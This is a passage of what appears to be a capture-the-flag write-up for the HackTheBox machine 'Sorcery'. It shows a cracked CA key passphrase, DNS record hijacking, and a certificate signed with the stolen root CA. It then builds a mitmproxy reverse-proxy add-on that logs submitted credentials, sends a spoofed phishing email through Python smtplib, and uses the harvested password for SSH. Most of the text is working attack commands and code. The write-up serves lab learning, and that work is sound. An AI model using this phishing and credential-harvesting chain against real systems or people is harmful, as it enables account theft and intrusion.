b25ecb478d29919b00a2a08a2aeb9d2d00bba8e3ef497b6002ffadbcd5a6cc701604ab2b8884f3d00d27cc8119a88ed8f19661986934c8adf6c30be687c72a45df28542d51a4b8ac1912b47746f2374de1af7640d208ed50dfc2b6de3b4f0ccbd12e5a64a2c1091aa5c2f78117eebe2b41f59c37f7caad56340f367a60d334f6f6faa0e5cb0e064fc5b5630deca101d8d56d19e0e4769ab1abbac6c48f010f51644b0d44b77dc493ba4fd44d9a3c00045f9840e182c58dfb994e90695787c09abf2c6c028628326934e08030d5fc98a326266ed7e5cc7bf6a0215e8b69818ee6599d174967900451e02f12ff8b98df8cafe06a4f78f3bdd9d64f2e1731542da1f1985b0bf87a4181dfa6115ff7b1ccb81c78bc3f7e096d6f875e75300609dcb24aa7b1807905df2dd8fd9d0d025952526000d70e4028b368b07c5ea4d5e3e0343d9a69818abc2d951576b765433622efc38855289e92ed055ef2aa9f5b5b4bc08ace06fa8969000c2b2a002483607ea180958fec3a51e35bd1ad339a0e4e6b4c1a024990f833672e752331d6827fc4f779256af563342be75a1b7ee1cd11b67d0a6df07ec0b30e5735718c03b5aed06e53a915233f81f3f50363c3613260feb97511d9a3a9253731c51c74e9ddc4f597c4106ed537759e51a044bf555d96e97e56713863ee14ae533eb651b0217ca29693407a0a0fe57a95c6c40de75f816bb5346cb68e1692a423144993c63c225f89152ea453ca162ee130328913f6e6e745e01ff3c2ca9a2c41ca0a0e4bd0d345baa8b4161e9b8cc5e7ce7e31794f67c0f871cd350d6188da0423adecc1b20766c4bd9bd67a0fd7620742096d0b9ad92003f74df0d2c0733ffdee54d3655403a91c0bfbc7b6d99fc20ad094503a458790ec0d76b57f1ddbbf986874245520b9cb2ef79c07e8b9640ddc5de426ea9a1316f66208ec2dfb03c6bd5fcf439d8087c01d6d9fddffa29845b8abbf314e5fa339fe957337b794225709368bcfcc11b9155c37ee97a108d0d8effda44b6d8805ad84584dfe12f92dbacf6f97cf24cfa8dcf19fc79a03264e22748976a84556aa811a06f5237820899acaa3c2212d07184767d2d2c4e15161de1e8117f4fee06f5b0bd2f183a6318e075a4fb214eb0becfa11a914f5e6a69a259ebd55f1db5901c9ca0ad04f2d1e972d96923ca99d034f887c403f7908b51566edfff25af42024cc589a8916869855bb5cd5d77ae01b5ce88faa65d6191d262efbe65e24d223b6adc7732694c79f99956848e8363162af268f1bb508afab569b39bd14b12c6e77a641d10f44cc5b3aeb27418e97f7baa553b1506e94ae470ddadf181c574cbc1a4ccd526c9e56bb354b2e7b275ee2de96df11e70f553602850ba0528cc79e105591875b2b5ca8353193c08b61ead284188b24779e290e1e6ae2fbe12a502fc45b876f84eb93ab83d4e87212cf1adfc578716bc771650b31fe3046042b24c577c09b0a72340e6edf638a1dcf7d512f45845a729f11fd3b8666822b8d1069198e9a3001afd0f6f25cd3faa792cde520a034b120595df3707039cb2a52998edce6902981120aa00197fda0b6bd4a13d2cde567500ada5bca9e63340c283c97dc115f6ca3eba5a691bb1c42c298aef7d369d3324956d7527325d8fd1e6b45113b63be6615c78981de2e5cb959d9ee2aefe9c7a7f0b5494b379a7f606cfe35cb9b4f57560618ce9f2b86496168539cdbdaed0faa9ec3e804ffc81c224ef11e1c43021823ff7362e0d234d502900b9dffa80d54e0b8343352af5822f92e0068b6ded27b76f1b4752e0c94333feb87bd9275d85694aed83333fbec85b8be664cdfe4ac849e898c22975ce1d7863e2e009deed1059e7e61ebb0fa9b60a89f9588e8a58f5b7964ff6144db12f5a219083911ff06f0a6bde809e51a19665274cf1c8c8fb799a15408fa64e1b5c0b8a32b6fe74e6d8f03c8f999c9113a5921cb60a433adb51a25fca7d41ad3c5488070d59191a844680ca475f7716b948331f87ed938c07f09381b21422a8c77a19e8bfb03760c92589545d3199fa902f73f1bc4cea6882bb15098357571b27c236d75f9bc345005b262bc195808910fe199aa76dceaaef98b1577cfb061bb3bb5bc8dc6ea8ad82507e395958d8c9a89d2fc78be3173644ad20c862738731ddb5f1e5126d1165b1989d97b8e1d3eaa1b36b6243c57b47c2bad9ad8ab58640a232522223c1d7fed95da5a6713920a0298f8a773e8ec781680f83be147f3e0392eaa205b54eed1bd9276ffb5b79ee11ab596d1a41b03bc95642981608df1d493bb2e4071294d119ca1c6e152e0c11f8754ace4a2c50ba67aae183c3a837b4b01201b32f0c9939306967a74c3ab837b9aefc4957268a7d022c28b8c9c65e4fe77171ff369cc7614b3af00dc923b8f468a695d97df81f:password
...[snip]...
</span></code></pre></div></div>

<p>The password is “password”. I’ll create a decrypted copy of the key:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>openssl rsa <span class="nt">-in</span> RootCA.key <span class="nt">-out</span> RootCA-dec.key
<span class="go">Enter pass phrase for RootCA.key:
writing RSA key
</span></code></pre></div></div>

<h3 id="set-dns-record">Set DNS Record</h3>

<p>I’ll want to create a DNS record for a subdomain of <code class="language-plaintext highlighter-rouge">sorcery.htb</code> that will point to my host. I determined <a href="#dns">above</a> that <code class="language-plaintext highlighter-rouge">dnsmasq</code> would load entries from <code class="language-plaintext highlighter-rouge">/dns/hosts</code> and <code class="language-plaintext highlighter-rouge">/dns/hosts-user</code> on startup, and that the service runs as user.</p>

<p>The <code class="language-plaintext highlighter-rouge">hosts</code> file is owned by root, but the <code class="language-plaintext highlighter-rouge">hosts-user</code> file doesn’t exist:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/dns$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>            
<span class="go">total 24
drwxr-xr-x 1 user user 4096 Apr 18 11:34 .
drwxr-xr-x 1 root root 4096 Apr 28  2025 ..
-rwxr-xr-x 1 root root  364 Aug 31  2024 convert.sh
-rwxr--r-- 1 user user  650 Apr 17 21:40 entries
-rw-r--r-- 1 root root  650 Apr 17 17:39 hosts
</span></code></pre></div></div>

<p>Because the directory is owned by user, I can either move the <code class="language-plaintext highlighter-rouge">hosts</code> file or just create the <code class="language-plaintext highlighter-rouge">hosts-user</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/dns$</span><span class="w"> </span><span class="nb">echo</span> <span class="s2">"10.10.14.61  0xdf.sorcery.htb"</span> <span class="o">&gt;</span> hosts-user
</code></pre></div></div>

<p>Now I’ll kill and restart <code class="language-plaintext highlighter-rouge">dnsmasq</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/dns$</span><span class="w"> </span>pkill dnsmasq                         
<span class="gp">user@7bfb70ee5b9c:/dns$</span><span class="w"> </span>/usr/sbin/dnsmasq <span class="nt">--no-daemon</span> <span class="nt">--addn-hosts</span> /dns/hosts-user <span class="nt">--addn-hosts</span> /dns/hosts &amp;
<span class="go">[1] 288
</span><span class="gp">user@7bfb70ee5b9c:/dns$</span><span class="w"> </span>dnsmasq: started, version 2.89 cachesize 150
<span class="go">dnsmasq: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset nftset auth cryptohash DNSSEC loop-detect inotify dumpfile
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 127.0.0.11#53
dnsmasq: read /etc/hosts - 9 names
dnsmasq: read /dns/hosts - 25 names
dnsmasq: read /dns/hosts-user - 1 names
</span></code></pre></div></div>

<p>It worked:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/dns$</span><span class="w"> </span>dig @localhost 0xdf.sorcery.htb +short
<span class="go">10.10.14.61
</span></code></pre></div></div>

<h3 id="phish">Phish</h3>

<h4 id="create-infrastructure">Create Infrastructure</h4>

<p>I’ll create a new key and a TLS certificate for <code class="language-plaintext highlighter-rouge">0xdf.sorcery.htb</code>, sign it with the Root CA, and bundle it into a PEM for the proxy:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>openssl genrsa <span class="nt">-out</span> server.key 2048
<span class="gp">oxdf@hacky$</span><span class="w"> </span>openssl x509 <span class="nt">-req</span> <span class="nt">-in</span> &lt;<span class="o">(</span>openssl req <span class="nt">-new</span> <span class="nt">-key</span> server.key <span class="nt">-subj</span> <span class="s1">'/CN=0xdf.sorcery.htb'</span><span class="o">)</span> <span class="nt">-CA</span> RootCA.crt <span class="nt">-CAkey</span> RootCA-dec.key <span class="nt">-CAcreateserial</span> <span class="nt">-out</span> server.crt <span class="nt">-days</span> 365
<span class="go">Certificate request self-signature ok
subject=CN = 0xdf.sorcery.htb
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>server.crt server.key <span class="o">&gt;</span> server.pem
</code></pre></div></div>

<p>I’ll use <code class="language-plaintext highlighter-rouge">mitmdump</code> from the Python tool <a href="https://www.mitmproxy.org/">mitmproxy</a> (<code class="language-plaintext highlighter-rouge">uv tool install mitmproxy</code>). The following options will set it up to receive requests at <code class="language-plaintext highlighter-rouge">0xdf.sorcery.htb</code> and forward them to <code class="language-plaintext highlighter-rouge">git.sorcery.htb</code>:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">--mode reverse:https://git.sorcery.htb/</code> - Run as a reverse proxy, forwarding all incoming requests to <code class="language-plaintext highlighter-rouge">git.sorcery.htb</code> over HTTPS.</li>
  <li><code class="language-plaintext highlighter-rouge">-p 443</code> - Listening on port 443.</li>
  <li><code class="language-plaintext highlighter-rouge">--ssl-insecure</code> - My computer doesn’t have the Sorcery root CA in its certificate store, so without this, requests from <code class="language-plaintext highlighter-rouge">mitmdump</code> to <code class="language-plaintext highlighter-rouge">git.sorcery.htb</code> will fail.</li>
  <li><code class="language-plaintext highlighter-rouge">--certs '*=server.pem'</code> - Present the <code class="language-plaintext highlighter-rouge">server.pem</code> certificate for all incoming TLS connections regardless of SNI.</li>
</ul>

<p>I’ll set <code class="language-plaintext highlighter-rouge">0xdf.sorcery.htb</code> to 127.0.0.1 in my <code class="language-plaintext highlighter-rouge">hosts</code> file, and run this:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>mitmdump <span class="nt">--mode</span> reverse:https://git.sorcery.htb/ <span class="nt">-p</span> 443 <span class="nt">--ssl-insecure</span> <span class="nt">--certs</span> <span class="s1">'*=server.pem'</span>
<span class="go">[23:32:37.942] reverse proxy to https://git.sorcery.htb/ listening at *:443.
</span></code></pre></div></div>

<p>If I open my browser and visit <code class="language-plaintext highlighter-rouge">https://0xdf.sorcery.htb</code>, Gitea loads! At the terminal:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">[23:32:37.942] reverse proxy to https://git.sorcery.htb/ listening at *:443.
[23:32:40.228][127.0.0.1:56590] client connect                     
[23:32:40.250][127.0.0.1:56590] server connect git.sorcery.htb:443 (10.129.25.147:443)    
127.0.0.1:56590: GET https://git.sorcery.htb/                      
              &lt;&lt; 200 OK 13.3k
[23:32:40.347][127.0.0.1:56606] client connect
[23:32:40.348][127.0.0.1:56618] client connect
[23:32:40.348][127.0.0.1:56630] client connect
[23:32:40.348][127.0.0.1:56642] client connect
127.0.0.1:56590: GET https://git.sorcery.htb/assets/css/theme-gitea-auto.css?v=1.22.1
              &lt;&lt; 304 Not Modified 0b
[23:32:40.371][127.0.0.1:56606] server connect git.sorcery.htb:443 (10.129.25.147:443)
[23:32:40.371][127.0.0.1:56618] server connect git.sorcery.htb:443 (10.129.25.147:443)                                                  
[23:32:40.371][127.0.0.1:56630] server connect git.sorcery.htb:443 (10.129.25.147:443)                                                  
[23:32:40.371][127.0.0.1:56642] server connect git.sorcery.htb:443 (10.129.25.147:443)        
127.0.0.1:56606: GET https://git.sorcery.htb/assets/css/index.css?v=1.22.1
              &lt;&lt; 304 Not Modified 0b
127.0.0.1:56642: GET https://git.sorcery.htb/assets/js/index.js?v=1.22.1
              &lt;&lt; 304 Not Modified 0b                               
127.0.0.1:56618: GET https://git.sorcery.htb/assets/img/logo.svg
              &lt;&lt; 304 Not Modified 0b
127.0.0.1:56630: GET https://git.sorcery.htb/assets/js/webcomponents.js?v=1.22.1                 &lt;&lt; 304 Not Modified 0b
127.0.0.1:56590: GET https://git.sorcery.htb/assets/img/favicon.png
              &lt;&lt; 200 OK 4.2k    
</span></code></pre></div></div>

<p>This is doing the proxy well, but it isn’t dumping the information I want. I’ll add <code class="language-plaintext highlighter-rouge">-q</code>, which eliminates the default logging. I’ll write a small add-on script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="n">mitmproxy</span> <span class="kn">import</span> <span class="n">http</span>
<span class="kn">from</span> <span class="n">urllib.parse</span> <span class="kn">import</span> <span class="n">parse_qs</span>

<span class="n">SKIP_EXT</span> <span class="o">=</span> <span class="p">(</span><span class="sh">'</span><span class="s">.css</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">.js</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">.png</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">.svg</span><span class="sh">'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">request</span><span class="p">(</span><span class="n">flow</span><span class="p">:</span> <span class="n">http</span><span class="p">.</span><span class="n">HTTPFlow</span><span class="p">):</span>
    <span class="n">path</span> <span class="o">=</span> <span class="n">flow</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">?</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
    <span class="k">if</span> <span class="n">path</span><span class="p">.</span><span class="nf">endswith</span><span class="p">(</span><span class="n">SKIP_EXT</span><span class="p">):</span>
        <span class="k">return</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">&gt;&gt; </span><span class="si">{</span><span class="n">flow</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">method</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">flow</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">pretty_url</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">flow</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="sh">"</span><span class="s">POST</span><span class="sh">"</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="nf">parse_qs</span><span class="p">(</span><span class="n">flow</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="nf">get_text</span><span class="p">()).</span><span class="nf">items</span><span class="p">():</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">   </span><span class="si">{</span><span class="n">k</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">v</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">response</span><span class="p">(</span><span class="n">flow</span><span class="p">:</span> <span class="n">http</span><span class="p">.</span><span class="n">HTTPFlow</span><span class="p">):</span>
    <span class="n">path</span> <span class="o">=</span> <span class="n">flow</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">?</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
    <span class="k">if</span> <span class="n">path</span><span class="p">.</span><span class="nf">endswith</span><span class="p">(</span><span class="n">SKIP_EXT</span><span class="p">):</span>
        <span class="k">return</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">&lt;&lt; </span><span class="si">{</span><span class="n">flow</span><span class="p">.</span><span class="n">response</span><span class="p">.</span><span class="n">status_code</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">flow</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">pretty_url</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p>This is adding additional functionality to both the incoming requests and the outgoing responses. For requests, it will check the extension, and if it isn’t in an ignore list, it’ll print a message. If it’s a post request, it will also include the key / values from the body. For the response it shows the code and the url.</p>

<p>I’ll add this script with <code class="language-plaintext highlighter-rouge">-s</code>. When I try to visit the site and login, the creds are dumped to the screen:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>mitmdump <span class="nt">--mode</span> reverse:https://git.sorcery.htb/ <span class="nt">-p</span> 443 <span class="nt">--ssl-insecure</span> <span class="nt">--certs</span> <span class="s1">'*=server.pem'</span> <span class="nt">-q</span> <span class="nt">-s</span> phish_addon.py 
<span class="go">&gt;&gt; GET https://git.sorcery.htb/
&lt;&lt; 200 https://git.sorcery.htb/
&gt;&gt; GET https://git.sorcery.htb/user/login?redirect_to=%2f
&lt;&lt; 200 https://git.sorcery.htb/user/login?redirect_to=%2f
&gt;&gt; POST https://git.sorcery.htb/user/login
   _csrf: 1aXwcpFRiV4uwADSm5xs4bRhqyM6MTc3NjUyOTkyNzkzNTIzMTk0Mw
   user_name: 0xdf
   password: bad_password
&lt;&lt; 200 https://git.sorcery.htb/user/login
</span></code></pre></div></div>

<p>I can also check out the certificate for the site. While my browser doesn’t trust it (it doesn’t trust the Sorcery CA), it does show that it’s signed by the Sorcery CA:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260418123955668.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260418123955668.png" alt="image-20260418123955668" class="include_image " />
</picture>

<h4 id="send-email">Send Email</h4>

<p>I’ll send tom_summers a link to my site:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>python3 - <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">PYEOF</span><span class="sh">'                          
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">import smtplib                                                   
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">from email.mime.text import MIMEText                             
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">msg = MIMEText('&lt;a href="https://0xdf.sorcery.htb/"&gt;Click here&lt;/a&gt;', 'html')
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">msg["Subject"] = "Verify your Gitea account"                     
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">msg["From"] = "admin@sorcery.htb"                                
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">msg["To"] = "tom_summers@sorcery.htb"                            
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">s = smtplib.SMTP("mail", 1025)                                   
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">s.send_message(msg)            
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">s.quit()
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">print("Sent!")                                                   
</span><span class="gp">&gt;</span><span class="w"> </span><span class="no">PYEOF                                                            
</span><span class="go">Sent!  
</span></code></pre></div></div>

<p>Then I can look for a hit at my proxy. If I don’t get anything, I can check MailHog:</p>

<div class="language-console code-collapse wrapall highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'import urllib.request,json;print(json.dumps(json.loads(urllib.request.urlopen("http://mail:8025/api/v2/messages").read()),indent=2))'</span>
<span class="go">{
  "total": 1,
  "count": 1,
  "start": 0,
  "items": [
    {
      "ID": "4qKFgDp35O58NjkGvFIHoEjEGecb1AVI2FCrAl4JehU=@mailhog.example",
      "From": {
        "Relays": null,
        "Mailbox": "tom_summers",
        "Domain": "sorcery.htb",
        "Params": ""
      },
      "To": [
        {
          "Relays": null,
          "Mailbox": "admin",
          "Domain": "sorcery.htb",
          "Params": ""
        }
      ],
      "Content": {
        "Headers": {
          "Content-Transfer-Encoding": [
            "7bit"
          ],
          "Date": [
            "Sat, 18 Apr 2026 16:46:05 +0000"
          ],
          "From": [
            "tom_summers@sorcery.htb"
          ],
          "Message-ID": [
            "4qKFgDp35O58NjkGvFIHoEjEGecb1AVI2FCrAl4JehU=@mailhog.example"
          ],
          "Received": [
            "from dd4a41e5d7b7 by mailhog.example (MailHog)\r\n          id 4qKFgDp35O58NjkGvFIHoEjEGecb1AVI2FCrAl4JehU=@mailhog.example; Sat, 18 Apr 2026 16:46:05 +0000"
          ],
          "Return-Path": [
            "&lt;tom_summers@sorcery.htb&gt;"
          ],
          "To": [
            "admin@sorcery.htb"
          ]
        },
        "Body": "https://0xdf.sorcery.htb/ is not signed by our CA.",
        "Size": 178,
        "MIME": null
      },
      "Created": "2026-04-18T16:46:05.109449811Z",
      "MIME": null,
      "Raw": {
        "From": "tom_summers@sorcery.htb",
        "To": [
          "admin@sorcery.htb"
        ],
        "Data": "From: tom_summers@sorcery.htb\r\nTo: admin@sorcery.htb\r\nContent-Transfer-Encoding: 7bit\r\nDate: Sat, 18 Apr 2026 16:46:05 +0000\r\n\r\nhttps://0xdf.sorcery.htb/ is not signed by our CA.",
        "Helo": "dd4a41e5d7b7"
      }
    }
  ]
}
</span></code></pre></div></div>

<p>My message is gone (the bot deletes emails after processing), but there’s a reply from tom with a body of:</p>

<blockquote>
  <p><code class="language-plaintext highlighter-rouge">https://0xdf.sorcery.htb/</code> is not signed by our CA.</p>
</blockquote>

<p>The bot followed the link, connected to my proxy, checked the TLS certificate, and rejected it.</p>

<p>I could use <a href="https://github.com/jpillora/chisel">Chisel</a> to set up a tunnel and actually see the MailHog site, and it would look like this:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260418173818106.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260418173818106.png" alt="image-20260418173818106" class="include_image " />
</picture>

<p>I am fine doing it via Python. To clear the logs, I can send this:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'import urllib.request; urllib.request.urlopen(urllib.request.Request("http://mail:8025/api/v1/messages", method="DELETE")); print("Cleared")'</span>
<span class="go">Cleared
</span></code></pre></div></div>

<p>On to fixing the certificate, the first issue I ran into was that my VM’s clock had drifted about seven hours ahead. The certificate’s <code class="language-plaintext highlighter-rouge">notBefore</code> date was in the future from the HTB machine’s perspective, so the bot rejected it as not yet valid. I synced the clock with <code class="language-plaintext highlighter-rouge">sudo ntpdate pool.ntp.org</code> and regenerated the certificate.</p>

<p>On rephishing tom now, there will be a visit to the page:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>mitmdump <span class="nt">--mode</span> reverse:https://git.sorcery.htb/ <span class="nt">-p</span> 443 <span class="nt">--ssl-insecure</span> <span class="nt">--certs</span> <span class="s1">'*=server.pem'</span> <span class="nt">-q</span> <span class="nt">-s</span> phish_addon.py  
<span class="go">&gt;&gt; GET https://git.sorcery.htb/
&lt;&lt; 200 https://git.sorcery.htb/
</span></code></pre></div></div>

<p>But then nothing happens. In MailHog, there’s another reply:</p>

<blockquote>
  <p>Okay, I will sign in on <code class="language-plaintext highlighter-rouge">https://0xdf.sorcery.htb/</code>. Thanks!</p>
</blockquote>

<p>But there’s no other activity. And there’s no login form on that page. I’ll phish one more time, this time passing the Gitea login page URL:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>python3 - <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">PYEOF</span><span class="sh">'
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">import smtplib
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">from email.mime.text import MIMEText
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">msg = MIMEText('&lt;a href="https://0xdf.sorcery.htb/user/login"&gt;Click here to verify your account&lt;/a&gt;', 'html')
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">msg["Subject"] = "Verify your Gitea account"
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">msg["From"] = "admin@sorcery.htb"
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">msg["To"] = "tom_summers@sorcery.htb"
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">s = smtplib.SMTP("mail", 1025)
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">s.send_message(msg)
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">s.quit()
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">print("Sent!")
</span><span class="gp">&gt;</span><span class="w"> </span><span class="no">PYEOF
</span><span class="go">Sent!
</span></code></pre></div></div>

<p>Shortly after, there’s a GET:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">&gt;&gt; GET https://git.sorcery.htb/user/login
&lt;&lt; 200 https://git.sorcery.htb/user/login
</span></code></pre></div></div>

<p>Then there’s a pause, where tom_summers sends a reply:</p>

<blockquote>
  <p>Okay, I will sign in on <code class="language-plaintext highlighter-rouge">https://0xdf.sorcery.htb/user/login</code>. Thanks!</p>
</blockquote>

<p>And less than 10 seconds later, a POST:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">&gt;&gt; POST https://git.sorcery.htb/user/login
   _csrf: OfHkh4InJ-RonHNAaEkMiMVaCYk6MTc3NjU0NTM5NzIxMTIzMTI2Mw
   user_name: tom_summers
   password: jNsMKQ6k2.XDMPu.
&lt;&lt; 200 https://git.sorcery.htb/user/login
</span></code></pre></div></div>

<p>The login returns 200 (not a redirect to the dashboard), meaning the credentials were rejected by Gitea. This is consistent with the blog post that said the infosec team “revoked the access and changed the password” after tom_summers fell for the phishing test.</p>

<h3 id="ssh">SSH</h3>

<p>These credentials work over SSH:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> jNsMKQ6k2.XDMPu. ssh tom_summers@sorcery.htb
<span class="go">Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
...[snip]...
</span><span class="gp">tom_summers@main:~$</span><span class="w">
</span></code></pre></div></div>

<p>And I can get <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers@main:~$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">5c4d7491************************
</span></code></pre></div></div>

<h2 id="shell-as-tom_summers_admin">Shell as tom_summers_admin</h2>

<h3 id="enumeration-2">Enumeration</h3>

<h4 id="users">Users</h4>

<p>Other than <code class="language-plaintext highlighter-rouge">user.txt</code>, tom_summers’ home directory is very empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers@main:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 16
drwxr-x--- 3 tom_summers tom_summers 4096 Apr 28  2025 .
drwxr-xr-x 7 root        root        4096 Oct 31  2024 ..
lrwxrwxrwx 1 root        root           9 Oct 30  2024 .bash_history -&gt; /dev/null
drwx------ 2 tom_summers tom_summers 4096 Mar 19  2025 .cache
-rw-r----- 1 root        tom_summers   33 Apr 18 16:04 user.txt
</span></code></pre></div></div>

<p>There are five users with home directories in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers@main:/home$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">rebecca_smith  tom_summers  tom_summers_admin  user  vagrant
</span></code></pre></div></div>

<p>Those are the same users with shells set in <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers@main:/$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
user:x:1000:1000:user:/home/user:/bin/bash
vagrant:x:1001:1001::/home/vagrant:/usr/bin/bash
tom_summers:x:2001:2001::/home/tom_summers:/usr/bin/bash
tom_summers_admin:x:2002:2002::/home/tom_summers_admin:/usr/bin/bash
rebecca_smith:x:2003:2003::/home/rebecca_smith:/usr/bin/bash
</span></code></pre></div></div>

<p>tom_summers does not have any <code class="language-plaintext highlighter-rouge">sudo</code> privileges:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers@main:/$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">[sudo] password for tom_summers: 
Sorry, user tom_summers may not run sudo on localhost.
</span></code></pre></div></div>

<h4 id="host">Host</h4>

<p>The host has the main IP on <code class="language-plaintext highlighter-rouge">eth0</code>:</p>

